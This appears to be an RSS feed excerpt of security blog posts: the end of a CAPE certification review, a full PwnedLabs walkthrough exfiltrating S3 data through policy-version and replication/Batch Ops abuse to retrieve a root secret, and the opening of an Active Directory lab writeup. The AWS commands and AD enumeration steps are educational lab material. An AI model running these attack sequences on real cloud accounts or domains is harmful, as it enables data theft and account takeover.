validated</li></ul><p>Once I had the last flags, I compiled the .tex file and kept the PDF under 10 MB as my own safety buffer. The final report came out around 290 pages, which sounds excessive, but HTB is strict on reporting and I wanted the evidence to be clear.</p><p>I did three review passes, then uploaded it.</p><p>Hitting submit after all those late nights was intense. Then came the worst part: waiting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RA-K-Mr7OHQG4ZmU.png" /></figure><p>It took 20 calendar days.</p><p>I expected something closer to 15 days because that was my CPTS experience, but CAPE still took longer than I expected. Eventually, the email came through: passed. After 20 calendar days of refreshing my inbox and second-checking the report in my head, that one word hit harder than I expected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zj4DKvQJDk3_X1p_FKMTcQ.png" /></figure><p>One thing I respect about HTB is that they give actual feedback, not just pass/fail. After CPTS, I used their notes to improve my reporting, and I carried those lessons into CAPE.</p><p>They noticed the improvement. That meant a lot. You can tell HTB cares about what they are building.</p><h3>What Surprised Me the Most</h3><p>The biggest surprise was the chaining.</p><p>CAPE is not “find one bug, run one exploit, done.” It makes you hold context, connect pieces, and reason through how one finding sets up the next one.</p><p>The chains were longer than I expected. The dependencies between hosts felt deliberate in a way I had not seen in other AD labs.</p><p>There was real mental exhaustion too, but I enjoy this kind of pain. I am obsessed with pentesting and CTFs, so these exams feel like brutally hard games to me.</p><p>The most rewarding part was realizing I could now do things that, a year ago, I would not have thought I could touch.</p><p>CAPE made my progress feel real.</p><h3>Where I Struggled the Most</h3><p>My biggest struggle was not a specific AD topic. The path covered the techniques I needed, but the exam still forced me to apply them under pressure.</p><p>The hard parts were tooling issues, nerves, and pressure management.</p><p>A few times, I blamed my methodology when the real issue was my VM tooling. That is a dangerous trap during an exam. A broken tool can make you question your entire approach when the actual problem is your setup.</p><p>Lesson learned: before an exam like this, make sure your environment is clean, updated, and tested. Do not wait until exam night to discover that something important is broken.</p><p>The nerves were real too. There is always that voice in the back of my head asking, “Are you actually ready for this?”</p><p>CAPE poked at that hard, especially during those first hours with zero flags. The exam humbled me. Knowing a technique and applying it under pressure are not the same thing.</p><p>What got me through was slowing down, going back to my notes, and validating one step at a time until I found flow again.</p><p>My real struggle was not the topics. It was managing pressure without letting it break my process.</p><h3>Tools and Workflows That Helped Me</h3><p>The biggest workflow lesson was simple: do not trust one tool’s output without validation.</p><p>Obsidian and Flameshot were the backbone of my documentation flow. BloodHound helped with relationships and attack paths. I cross-validated enumeration with multiple tools because one tool might miss what another catches.</p><p>For pivoting, especially in larger environments, Ligolo felt more comfortable than the Chisel/SOCKS setups I had used in smaller labs. When the network grows, fragile tunneling becomes a time sink. A stable pivoting setup lets you focus on the attack instead of fighting your tunnel.</p><p>Reliable access is also worth planning. Tunnels die. Sessions drop. Internet hiccups happen at the worst possible moment.</p><p>Within the rules of engagement, you want controlled re-access: documented credentials, stable sessions, preserved access where allowed, and clean session management.</p><p>Reporting discipline matters here too. Anything you change in the environment needs to be documented: permissions, uploaded binaries, accounts, persistence, cleanup steps, and anything else that could affect the client or environment.</p><p>The practical lesson: build redundancy, but document what you touch.</p><h3>What CAPE Taught Me</h3><p>CAPE taught me that enumeration is not just the first phase.</p><p>Every time something changes, enumeration starts again.</p><p><strong>New credential? Re-enumerate.</strong></p><p><strong>New host? Re-enumerate.</strong></p><p><strong>New privilege level? Re-enumerate.</strong></p><p><strong>New network path? Re-enumerate.</strong></p><p>Your visibility changes constantly in an AD environment. A single credential can expose shares, sessions, permissions, service accounts, or attack paths you could not see before.</p><p>CAPE also reinforced that methodology beats speed.</p><p>Moving fast feels productive, but speed without structure burns hours. A strong methodology is not just a checklist. It is the thing that keeps you thinking clearly when the path is messy.</p><h3>Advice for Future CAPE Candidates</h3><p>The HTB Active Directory Penetration Tester path can be enough if you treat it like a real training program instead of a checklist.</p><p>Do not rush through the modules just to unlock the exam. Take your time, build strong notes, work through the labs, and review until the methodology feels natural.</p><p>If you want more practice after the path, I would recommend:</p><ul><li>HTB machines focused on Active Directory</li><li>0xdf write-ups</li><li>IppSec videos</li><li>S4vitar’s AD videos if you speak Spanish</li><li>extra Sliver C2 practice</li></ul><p>The one module I would reinforce is Sliver. The HTB content is useful, but if you plan to use that C2 framework seriously, dedicated training like Hack Smarter’s Sliver course gives you more operational confidence.</p><p>Beyond the technical work, try to enjoy it.</p><p>The exam is not the whole goal. The learning is.</p><p>Some people may need a few months. Some may need a year. Both are fine. What matters is whether you actually build the skill, not whether you stack another badge quickly.</p><p>Study deeply, practice consistently, take the exam when you feel ready, and enjoy the ride.</p><h3>Final Verdict: Was CAPE Worth It?</h3><p>Yes. CAPE was worth it.</p><p>I think CAPE is a hidden gem. In HR filters, it may not have the same keyword recognition as older certifications yet. It probably will not automatically carry you through every job screen.</p><p>But for people who understand what the exam requires, CAPE says something meaningful.</p><p>It forced me to chain attacks across a larger AD environment, manage fatigue, maintain clean notes, validate findings under pressure, and produce a report that could stand on its own.</p><p>That is where the payoff was for me.</p><p>No certification guarantees a job. CAPE is useful because it builds the habits that matter when hard pentest problems show up: patience, re-enumeration, documentation, attack-path reasoning, and pressure management.</p><p>For me, CAPE was not just another badge.</p><p>It was proof that I could handle a difficult AD environment, document it professionally, and survive the pressure that comes with both.</p><p>That is what made it worth it.</p><p>And if you are hiring junior pentesters and somehow made it all the way here, my inbox is open. 😆</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a1beca50f3df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From tier2_eng to Root: Abusing S3 Replication & Batch Ops (PwnedLabs)]]></title>
            <link>https://medium.com/@4le26x/from-tier2-eng-to-root-abusing-s3-replication-batch-ops-pwnedlabs-9a52e1632134?source=rss-94f6bf81acfd------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a52e1632134</guid>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Alejandro Perez]]></dc:creator>
            <pubDate>Wed, 29 Apr 2026 12:04:19 GMT</pubDate>
            <atom:updated>2026-04-29T12:07:42.866Z</atom:updated>
            <content:encoded><![CDATA[<h3>Escalating AWS Privileges via S3 Replication Abuse — A Deep Dive with Pacu, CloudFox, and aws-enumerator</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*64QnQ_jP5so4JzltdXA_0A.png" /></figure><p>This is part of an ongoing series where I document alternative solutions to PwnedLabs challenges. Each post is a record of my progress in cloud pentesting, exploring different tools, chaining techniques, and building intuition for AWS environments. The goal isn’t to replace the official walkthrough; it’s to show what else is possible.</p><p><strong>A walkthrough of chaining a single set of low-privilege credentials into full account compromise through S3 replication abuse, IAM policy manipulation, and lateral movement to secrets.</strong></p><p><strong>Tools used:</strong> <a href="https://aws.amazon.com/cli/">AWS CLI</a> · <a href="https://github.com/RhinoSecurityLabs/pacu">Pacu</a> · <a href="https://github.com/BishopFox/cloudfox">CloudFox</a> · <a href="https://github.com/shabarkin/aws-enumerator">aws-enumerator</a> · <a href="https://jqlang.github.io/jq/">jq</a></p><h3>Introduction</h3><p>During an external assessment, we discovered credentials stored in a zip file for an AWS IAM user. In this walkthrough, we’ll show how we chained a single set of low-privilege credentials into full account compromise through S3 replication abuse, IAM policy manipulation, and lateral movement to secrets.</p><h3>Step 1 — Establish the Credential Context</h3><p>Before touching anything, we establish the credential context. This confirms our principal identity and account scope before any enumeration begins:</p><pre>aws configure --profile tier2_eng<br>aws sts get-caller-identity --profile tier2_eng</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*dQUK3SrYPOrOASi9-jrZDA.png" /></figure><p>This reveals tier2_eng as an IAM user — not a role — so we don&#39;t need to think about an assume-role chain yet. The account ID 622555165292 is the only in-scope account.</p><h3>Step 2 — Enumerate IAM Permissions with Pacu</h3><p>Our goal here is to understand the permission shape of our current principal before touching any resources. Starting with IAM lets us build a mental model of the environment — roles, policies, trust relationships — without making noise in S3 or other services.</p><p>We launch Pacu and load our credentials into a clean session:</p><pre>pacu<br>new_session pwned-s3-repl<br>set_keys<br>set_regions us-west-2<br>whoami</pre><p>Now we run the IAM enumeration module. This makes the cheapest possible IAM calls and stores everything in the session database:</p><pre>run iam__enum_users_roles_policies_groups</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mc9wY9nqBHN15gTobEBUNA.png" /></figure><p>ListUsers and ListGroups are denied but ListRoles and ListPolicies succeed. This asymmetry is itself a misconfiguration, we can&#39;t see our own user list, but we can enumerate the entire role and policy landscape. That hands us a significant portion of the IAM map for free.</p><h3>Parsing with jq</h3><p>Rather than reading raw JSON from the Pacu interface, we save the session data to disk and parse it with targeted jq queries. This is faster and more reproducible than manual inspection. First, we list all customer-managed policies:</p><pre>cat iam.json | jq &#39;.Policies[] | {name: .PolicyName, arn: .Arn}&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nc3vZqebaoQNYuf1RybOmA.png" /></figure><p>Six policies surface, all with AttachmentCount: 1 — nothing orphaned. The names alone map our full attack surface before reading a single document:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*065DnR6vBuroNhpmnfwMdw.png" /></figure><p>Next, we filter the 18 roles down to the ones that matter. Most are AWS service-linked roles under /aws-service-role/ paths — background infrastructure we don&#39;t care about. Selecting only roles with Path == &quot;/&quot; strips that noise instantly:</p><pre>cat iam.json | jq &#39;.Roles[] | select(.Path == &quot;/&quot;) | {name: .RoleName, principal: .AssumeRolePolicyDocument.Statement[].Principal}&#39;</pre><p>This reduces the 18 roles down to 5. Now we run a targeted query to surface any cross-account trust — an AWS principal in the trust policy rather than a Service:</p><pre>cat iam.json | jq &#39;.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal | has(&quot;AWS&quot;)) | {role: .RoleName, trusted_by: .AssumeRolePolicyDocument.Statement[].Principal.AWS}&#39;</pre><p><strong>Critical finding:</strong> OrganizationAccountAccessRole trusts the AWS Organizations management account. In a real engagement, this means the management account has full admin over this member account — and potentially every other account in the org. Out of scope for this lab, but definitely worth flagging.</p><h3>Reading the Attack-Relevant Policy Documents</h3><p>With the policy ARNs already known, we read the documents directly. This reveals the exact bucket names without running any S3 discovery at all:</p><pre>aws iam get-policy-version \<br>  --policy-arn arn:aws:iam::622555165292:policy/s3_replication_policy \<br>  --version-id v1 \<br>  --profile tier2_eng | jq</pre><p><em>(Note: We do the same for </em><em>s3_batch_operations_policy)</em></p><p>Both documents reference cust-txn-prod-61460a4ceef0 and cust-txn-replica-61460a4ceef0 explicitly. Our S3 phase is now highly targeted, not exploratory.</p><h3>Step 3 — S3 Reconnaissance with CloudFox</h3><p>With bucket names already known, our S3 recon is about confirming access. We use <strong>CloudFox</strong> to handle the initial enumeration in one command:</p><pre>./cloudfox aws --profile tier2_eng buckets</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LcSSKzRSZBiGGJctEghihw.png" /></figure><p>Three buckets confirmed. CloudFox also writes our bucket policies directly to disk, saving us several manual CLI calls. Rather than running three separate commands, we use a loop to cover all buckets and make the output directly comparable:</p><pre>for bucket in \<br>  cust-txn-prod-61460a4ceef0 \<br>  cust-txn-replica-61460a4ceef0 \<br>  s3-secure-backup-61460a4ceef0; do<br>    echo &quot;=== $bucket ===&quot;<br>    aws s3api list-objects-v2 --bucket &quot;$bucket&quot; --profile tier2_eng 2&gt;&amp;1<br>done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VSBgdNBdwkXCgipCgRpDmQ.png" /></figure><p>cust-txn-prod and cust-txn-replica both return AccessDenied. However, s3-secure-backup returns empty — meaning s3:ListBucket is allowed. This confirms the secure-backup bucket as the only directly readable bucket and our natural exfiltration destination.</p><p>After reviewing the bucket policies using aws s3api get-bucket-policy, we identify two key constraints:</p><ol><li><strong>cust-txn-prod:</strong> Only s3_batch_operations_role has explicit rights. Any write access we have comes entirely from our identity-based policy.</li><li><strong>cust-txn-replica:</strong> Write-only from s3.amazonaws.com, and only when the source ARN matches cust-txn-prod. We cannot read or list it directly.</li></ol><p>We also check the replication configuration on the production bucket:</p><pre>aws s3api get-bucket-replication --bucket cust-txn-prod-61460a4ceef0 --profile tier2_eng</pre><pre>{<br>    &quot;ReplicationConfiguration&quot;: {<br>        &quot;Role&quot;: &quot;arn:aws:iam::622555165292:role/s3_replication_role_for_source_bucket&quot;,<br>        &quot;Rules&quot;: [<br>            {<br>                &quot;ID&quot;: &quot;replicateAll&quot;,<br>                &quot;Priority&quot;: 1,<br>                &quot;Filter&quot;: {<br>                    &quot;Prefix&quot;: &quot;&quot;<br>                },<br>                &quot;Status&quot;: &quot;Enabled&quot;,<br>                &quot;Destination&quot;: {<br>                    &quot;Bucket&quot;: &quot;arn:aws:s3:::cust-txn-replica-61460a4ceef0&quot;,<br>                    &quot;StorageClass&quot;: &quot;STANDARD&quot;,<br>                    &quot;ReplicationTime&quot;: {<br>                        &quot;Status&quot;: &quot;Enabled&quot;,<br>                        &quot;Time&quot;: {<br>                            &quot;Minutes&quot;: 15<br>                        }<br>                    },<br>                    &quot;Metrics&quot;: {<br>                        &quot;Status&quot;: &quot;Enabled&quot;,<br>                        &quot;EventThreshold&quot;: {<br>                            &quot;Minutes&quot;: 15<br>                        }<br>                    }<br>                },<br>                &quot;DeleteMarkerReplication&quot;: {<br>                    &quot;Status&quot;: &quot;Disabled&quot;<br>                }<br>            }<br>        ]<br>    }<br>}</pre><p>This confirms a rule named replicateAll with an empty prefix filter, meaning it replicates <em>every</em> object from prod to replica using the s3_replication_role_for_source_bucket.</p><h3>Step 4 — Probe S3 Capabilities</h3><p>Before committing to any exploitation, we confirm the exact read/write surface with cheap test files. The loop below tests all three buckets in one pass:</p><pre>echo test &gt; /tmp/probe.txt<br><br>for bucket in \<br>  cust-txn-prod-61460a4ceef0 \<br>  cust-txn-replica-61460a4ceef0 \<br>  s3-secure-backup-61460a4ceef0; do<br>    echo &quot;=== WRITE TEST: $bucket ===&quot;<br>    aws s3 cp /tmp/probe.txt s3://$bucket/probe.txt --profile tier2_eng 2&gt;&amp;1<br>    echo &quot;=== READ TEST: $bucket ===&quot;<br>    aws s3 cp s3://$bucket/probe.txt /tmp/out.txt --profile tier2_eng 2&gt;&amp;1 \<br>      &amp;&amp; echo &quot;GET: allowed&quot; || echo &quot;GET: denied&quot;<br>    echo<br>done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6vfW9YTHgwSrLfwnoKNp-A.png" /></figure><p>The killer combination surfaces: we can <strong>write to prod</strong> (which triggers automatic replication), and we can <strong>read from secure-backup</strong> (which becomes our replication destination after the attack).</p><h3>Step 5 — Probe for Direct IAM Escalation</h3><p>Before setting up the replication abuse, we check if we can skip the whole game by attaching a broader policy directly to our user:</p><pre>aws iam put-user-policy --user-name tier2_eng \<br>  --policy-name selftest \<br>  --policy-document &#39;{&quot;Version&quot;:&quot;2012-10-17&quot;,&quot;Statement&quot;:[{&quot;Effect&quot;:&quot;Allow&quot;,&quot;Action&quot;:&quot;s3:GetObject&quot;,&quot;Resource&quot;:&quot;*&quot;}]}&#39; \<br>  --profile tier2_eng</pre><p>Result: AccessDenied. We can&#39;t take the direct shortcut. However, attempting to set a console password succeeds:</p><pre>aws iam update-login-profile \<br>  --user-name tier2_eng \<br>  --password &#39;dwretgvJ@CHcbCcs&#39; \<br>  --profile tier2_eng</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QwQRRZsSLctFeRZdkwZdlQ.png" /></figure><p>No output means success. Our console login now works. This is a secondary escalation primitive — iam:UpdateLoginProfile is allowed even though iam:PutUserPolicy is not.</p><h3>Step 6 — Attack 1: Replication Exfiltration (New Objects)</h3><p>Our attack logic here is simple: rewrite the replication IAM policy to allow the replication role to write to s3-secure-backup instead of the replica, then update the replication rule to point at that bucket. Any <em>new</em> object written to prod will automatically replicate into our attacker-readable bucket.</p><p>Because IAM managed policies support up to 5 versions, we use iam:CreatePolicyVersion with --set-as-default. This is stealthier and less destructive than overwriting it, preserving a recovery path.</p><p>We create the malicious replication policy, replacing cust-txn-replica with s3-secure-backup:</p><pre>cat &gt; /tmp/malicious_replication_policy.json &lt;&lt; &#39;EOF&#39;<br>{<br>  &quot;Statement&quot;: [<br>    {<br>      &quot;Action&quot;: [<br>        &quot;s3:ListBucket&quot;, &quot;s3:GetReplicationConfiguration&quot;, &quot;s3:GetObjectVersionTagging&quot;,<br>        &quot;s3:GetObjectVersionForReplication&quot;, &quot;s3:GetObjectVersionAcl&quot;,<br>        &quot;s3:GetObjectRetention&quot;, &quot;s3:GetObjectLegalHold&quot;<br>      ],<br>      &quot;Effect&quot;: &quot;Allow&quot;,<br>      &quot;Resource&quot;: [<br>        &quot;arn:aws:s3:::s3-secure-backup-61460a4ceef0/*&quot;,<br>        &quot;arn:aws:s3:::s3-secure-backup-61460a4ceef0&quot;,<br>        &quot;arn:aws:s3:::cust-txn-prod-61460a4ceef0/*&quot;,<br>        &quot;arn:aws:s3:::cust-txn-prod-61460a4ceef0&quot;<br>      ]<br>    },<br>    {<br>      &quot;Action&quot;: [<br>        &quot;s3:ReplicateTags&quot;, &quot;s3:ReplicateObject&quot;,<br>        &quot;s3:ReplicateDelete&quot;, &quot;s3:ObjectOwnerOverrideToBucketOwner&quot;<br>      ],<br>      &quot;Effect&quot;: &quot;Allow&quot;,<br>      &quot;Resource&quot;: [<br>        &quot;arn:aws:s3:::s3-secure-backup-61460a4ceef0/*&quot;,<br>        &quot;arn:aws:s3:::cust-txn-prod-61460a4ceef0/*&quot;<br>      ]<br>    }<br>  ],<br>  &quot;Version&quot;: &quot;2012-10-17&quot;<br>}<br>EOF</pre><p>We apply the new policy version and update the bucket replication configuration via put-bucket-replication:</p><pre>aws iam create-policy-version \<br>  --policy-arn arn:aws:iam::622555165292:policy/s3_replication_policy \<br>  --policy-document file:///tmp/malicious_replication_policy.json \<br>  --set-as-default \<br>  --profile tier2_eng</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f0rRiArboWcVj4CM7zP3ag.png" /></figure><p>Now we trigger the replication by writing a dummy object to prod, then check our secure-backup bucket:</p><pre>aws s3 cp /tmp/probe.txt s3://cust-txn-prod-61460a4ceef0/probe2.txt --profile tier2_eng<br>aws s3 ls s3://s3-secure-backup-61460a4ceef0 --profile tier2_eng</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HNknB8o_CG__YQ7BERGN-Q.png" /></figure><p>The object appears. Replication is now flowing into our bucket.</p><h3>Step 7 — Attack 2: Batch Ops Exfiltration (Existing Objects)</h3><p>Attack 1 only covers <em>new</em> objects. Objects that existed in prod before our change have a replication status of NONE. S3 Batch Replication solves this by retroactively invoking S3ReplicateObject against every key in the bucket.</p><p>To do this, we need to allow the Batch Ops role to write to our backup bucket, and we must attach a bucket policy to s3-secure-backup explicitly allowing s3:PutObject from s3.amazonaws.com.</p><p>After updating the s3_batch_operations_policy to include our backup bucket, we apply the following bucket policy to lock down the source account and ARN (without this, any S3 service principal could write to our bucket):</p><pre>cat &gt; /tmp/secure_backup_policy.json &lt;&lt; &#39;EOF&#39;<br>{<br>  &quot;Version&quot;: &quot;2012-10-17&quot;,<br>  &quot;Statement&quot;: [<br>    {<br>      &quot;Effect&quot;: &quot;Allow&quot;,<br>      &quot;Principal&quot;: {&quot;Service&quot;: &quot;s3.amazonaws.com&quot;},<br>      &quot;Action&quot;: &quot;s3:PutObject&quot;,<br>      &quot;Resource&quot;: &quot;arn:aws:s3:::s3-secure-backup-61460a4ceef0/*&quot;,<br>      &quot;Condition&quot;: {<br>        &quot;StringEquals&quot;: {<br>          &quot;aws:SourceAccount&quot;: &quot;622555165292&quot;,<br>          &quot;s3:x-amz-acl&quot;: &quot;bucket-owner-full-control&quot;<br>        },<br>        &quot;ArnLike&quot;: {<br>          &quot;aws:SourceArn&quot;: &quot;arn:aws:s3:::cust-txn-prod-61460a4ceef0&quot;<br>        }<br>      }<br>    }<br>  ]<br>}<br>EOF</pre><pre>aws s3api put-bucket-policy \<br>  --bucket s3-secure-backup-61460a4ceef0 \<br>  --policy file:///tmp/secure_backup_policy.json \<br>  --profile tier2_eng</pre><p>With the permissions in place, we submit the batch job. The S3JobManifestGenerator automatically builds the list of objects to process:</p><pre>aws s3control create-job \<br>  --account-id 622555165292 \<br>  --operation &#39;{&quot;S3ReplicateObject&quot;:{}}&#39; \<br>  --report &#39;{&quot;Bucket&quot;:&quot;arn:aws:s3:::s3-secure-backup-61460a4ceef0&quot;,&quot;Prefix&quot;:&quot;batch-replication-report&quot;,&quot;Format&quot;:&quot;Report_CSV_20180820&quot;,&quot;Enabled&quot;:true,&quot;ReportScope&quot;:&quot;AllTasks&quot;}&#39; \<br>  --manifest-generator &#39;{&quot;S3JobManifestGenerator&quot;:{&quot;ExpectedBucketOwner&quot;:&quot;622555165292&quot;,&quot;SourceBucket&quot;:&quot;arn:aws:s3:::cust-txn-prod-61460a4ceef0&quot;,&quot;EnableManifestOutput&quot;:false,&quot;Filter&quot;:{&quot;EligibleForReplication&quot;:true,&quot;ObjectReplicationStatuses&quot;:[&quot;NONE&quot;,&quot;FAILED&quot;,&quot;COMPLETED&quot;,&quot;REPLICA&quot;]}}}&#39; \<br>  --priority 1 \<br>  --role-arn arn:aws:iam::622555165292:role/s3_batch_operations_role \<br>  --no-confirmation-required \<br>  --region us-west-2 \<br>  --description &quot;Batch job to replicate objects from source bucket to attacker&#39;s bucket&quot; \<br>  --profile tier2_eng</pre><p>Once the job status shows Complete, we list our secure-backup bucket. A CSV file named Security_accessKeys.csv has successfully replicated. We print it directly to the terminal:</p><pre>aws s3 cp s3://s3-secure-backup-61460a4ceef0/Security_accessKeys.csv - --profile tier2_eng</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*tYj3NYO8MIsa4-clu0mnMA.png" /></figure><p>We’re now ready to pivot.</p><h3>Step 8 — Lateral Movement &amp; Secrets Extraction</h3><p>With new credentials in hand, we configure a new security profile. We apply the same recon discipline: enumerate first, act second.</p><pre>aws configure --profile security<br>aws sts get-caller-identity --profile security</pre><p>We load the credentials into aws-enumerator and brute force all permissions across services:</p><pre>aws-enumerator cred -aws_access_key_id AKIAZB4ZN6JWH... -aws_region us-west-2 -aws_secret_access_key VJaonyta0UG...<br>aws-enumerator enum -services all</pre><pre>Message:  Successful APPMESH: 0 / 1<br>Message:  Successful ACM: 0 / 1<br>... [SNIP] ...<br>Message:  Successful S3: 0 / 1<br>Message:  Successful SECRETSMANAGER: 1 / 2<br>... [SNIP] ...<br>Message:  Enumeration finished</pre><p>SECRETSMANAGER: 1 / 2 stands out immediately — our security principal has Secrets Manager access. We dump the specific permissions using aws-enumerator dump -services secretsmanager, then list the secrets:</p><pre>aws secretsmanager list-secrets --region us-west-2 --profile security</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PZ_jDzrQJFnOKeAJBZW0Wg.png" /></figure><p>A secret named root_account_61460a4ceef0 surfaces, described as &quot;AWS Organization root account&quot;. We retrieve it:</p><pre>aws secretsmanager get-secret-value \<br>  --secret-id root_account_61460a4ceef0 \<br>  --region us-west-2 \<br>  --profile security</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*giEG0-xkGEAyHZNSm7m4yQ.png" /></figure><p>The JSON output reveals the SecretString containing the ultimate flag: &quot;magnus@huge-logistics.com : OrgR00TP@ss!!&quot;. <strong>PWNED.</strong></p><h3>Defense &amp; Recommendations</h3><h3>The Root Cause</h3><p>Our attack chain worked because of three misconfigurations chained together. None of them alone is catastrophic, but the combination is lethal:</p><ol><li><strong>Dangerous IAM Permissions:</strong> tier2_eng has iam:CreatePolicyVersion on the replication and batch ops policies. This single permission is enough to redirect where data flows.</li><li><strong>Indirect Read Access:</strong> tier2_eng has s3:PutObject on the prod bucket without s3:GetObject. The intent was likely to allow uploads but not reads — but since replication is triggered by writes, this inadvertently grants indirect read access through the replication path.</li><li><strong>Unrestricted Target Manipulation:</strong> The replication role’s destination bucket is configurable by anyone with iam:CreatePolicyVersion. There is no guard on s3:PutBucketReplication limiting which principals can redirect the rule.</li></ol><h3>Closing Thoughts</h3><p>To close this kill chain, blue teams must implement layered controls:</p><ul><li><strong>Detection:</strong> Monitor CloudTrail for PutBucketReplication, CreatePolicyVersion, and JobCreated events from unexpected principals.</li><li><strong>Alerting:</strong> Set up alerts for replication rules pointing at buckets outside a known-good allowlist.</li><li><strong>Data Handling:</strong> Never store credentials in S3. Use Secrets Manager or Parameter Store with strict access controls.</li></ul><h3>References</h3><ul><li><a href="https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-iam-enum.html">HackTricks — AWS IAM Enumeration</a></li><li><a href="https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/">AWS IAM Privilege Escalation Techniques</a></li><li><a href="https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.html">HackTricks — AWS S3, Athena &amp; Glacier Enumeration</a></li><li><a href="https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/">Hacking The Cloud — Exfiltrating S3 Data with Bucket Replication Policies</a></li><li><a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html">AWS S3 Replication overview</a></li><li><a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/s3-batch-replication-batch.html">AWS S3 Batch Replication</a></li><li><a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_managed-versioning.html">AWS IAM managed policy versioning</a></li><li><a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-management.html">AWS S3 access control (Access management)</a></li><li><a href="https://github.com/BishopFox/cloudfox">CloudFox by BishopFox</a></li><li><a href="https://github.com/shabarkin/aws-enumerator">aws-enumerator by shabarkin</a></li><li><a href="https://github.com/RhinoSecurityLabs/pacu">Pacu — AWS exploitation framework</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a52e1632134" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MidGarden2 (HackSmarter Writeup) — Chaining ACLs and BadSuccessor to Domain Admin]]></title>
            <link>https://medium.com/@4le26x/midgarden2-hacksmarter-writeup-chaining-acls-and-badsuccessor-to-domain-admin-e670a07b08a3?source=rss-94f6bf81acfd------2</link>
            <guid isPermaLink="false">https://medium.com/p/e670a07b08a3</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Alejandro Perez]]></dc:creator>
            <pubDate>Wed, 29 Apr 2026 09:23:26 GMT</pubDate>
            <atom:updated>2026-04-29T09:23:26.728Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8BOmZ2wagEXrYQ_EbAODuQ.png" /></figure><p>This writeup is part of a series focused on Active Directory penetration testing from one of my favorite platforms, <strong>HackSmarter</strong>, which offers fantastic lab content around AD and web pentesting.</p><h3>Objective / Scope</h3><p>In this lab, we’re playing the role of the Hack Smarter Red Team, hired to run an internal penetration test on a client that already takes security seriously and has been tested by other teams before. Our job is to find the attack paths earlier teams missed, like small misconfigurations, hidden trust relationships, and sneaky ways to gain higher privileges.</p><p>To keep things realistic, the lab gives us a set of low-level domain credentials to start with, just like an attacker would have after a phishing email or a leaked password. From there, it’s up to us to explore the network, move around, and work our way up to fully taking over the domain.</p><h4>Starting Credentials</h4><pre>freyja:Fr3yja!Dr@g0n^12</pre><p>Before jumping into authenticated enumeration, we started with some port scanning to get a clear picture of what we’re dealing with. Something I always like to do is begin with a SYN scan against all ports to quickly identify what’s open, and then follow up with a service/version scan only on those ports to save time.</p><pre>sudo nmap -sS -p- -n -Pn --open --min-rate 5000 10.0.30.36 -oG nmap/allports -vvv</pre><pre>nmap -sVC -p53,88,135,139,445,464,3389,5985,49664 10.0.30.36 -oN nmap/targeted -vvv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sxebgt7s4W1yFniviw1Q5w.png" /></figure><p>The open ports confirm we’re dealing with a Domain Controller: port 88 (Kerberos), 445 (SMB), 5985 (WinRM), and 3389 (RDP). WinRM being open is especially useful since it gives us a remote shell vector if we get our hands on credentials for any user in the Remote Management Users group.</p><h3>Enumeration</h3><p>User Enumeration via rpcclient</p><p>With valid credentials in hand, we can authenticate over RPC to pull a list of domain users:</p><pre>rpcclient -U &#39;freyja%Fr3yja!Dr@g0n^12&#39; 10.0.30.36 -c enumdomusers | grep -oP &#39;\[.*?\]&#39; | grep -v &#39;0x&#39; | tr -d &#39;[]&#39; | tee users.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dH_ASV6ksIJClwyar-iJLg.png" /></figure><p>This returns 18 domain users excluding default accounts like Administrator, Guest, and krbtgt. Having a clean user list is valuable down the road for password spraying and targeted enumeration.</p><p>Credential Discovery via User Descriptions</p><p>Next, we used netexec’s --users module to pull user descriptions alongside the account names:</p><pre>nxc smb 10.0.30.36 -u freyja -p &#39;Fr3yja!Dr@g0n^12&#39; --users</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2_xesz-qjxviBYMMZWrjtQ.png" /></figure><p>Right away, the user Thor stands out, his description field contains what looks like a credential. This is a pretty common misconfiguration where administrators stash passwords in description fields 